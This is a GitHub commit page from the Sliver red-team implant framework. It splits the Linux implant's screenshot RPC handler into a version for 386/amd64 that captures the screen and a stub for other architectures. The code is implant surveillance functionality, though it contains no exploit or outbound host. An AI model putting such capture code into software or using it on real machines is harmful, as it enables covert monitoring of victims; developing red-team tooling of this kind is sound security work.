Skip to content

Commit

Permalink
Fix build constraints for linux/mips
Browse files Browse the repository at this point in the history
  • Loading branch information
moloch-- committed Jan 9, 2023
1 parent 72fcd30 commit 1a8487e
Show file tree
Hide file tree
Showing 2 changed files with 79 additions and 0 deletions.
50 changes: 50 additions & 0 deletions implant/sliver/handlers/rpc-handlers-cgo_linux.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
//go:build 386 || amd64

package handlers

/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/

import (
// {{if .Config.Debug}}
"log"
// {{end}}

"github.com/bishopfox/sliver/implant/sliver/screen"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)

func screenshotHandler(data []byte, resp RPCResponse) {
sc := &sliverpb.ScreenshotReq{}
err := proto.Unmarshal(data, sc)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
// {{if .Config.Debug}}
log.Printf("Screenshot Request")
// {{end}}
scRes := &sliverpb.Screenshot{}
scRes.Data = screen.Screenshot()
data, err = proto.Marshal(scRes)

resp(data, err)
}
29 changes: 29 additions & 0 deletions implant/sliver/handlers/rpc-handlers-generic_linux.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
//go:build !386 && !amd64

package handlers

/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/

import (
"errors"
)

func screenshotHandler(data []byte, resp RPCResponse) {
resp([]byte{}, errors.New("unsupported platform"))
}

0 comments on commit 1a8487e

Please sign in to comment.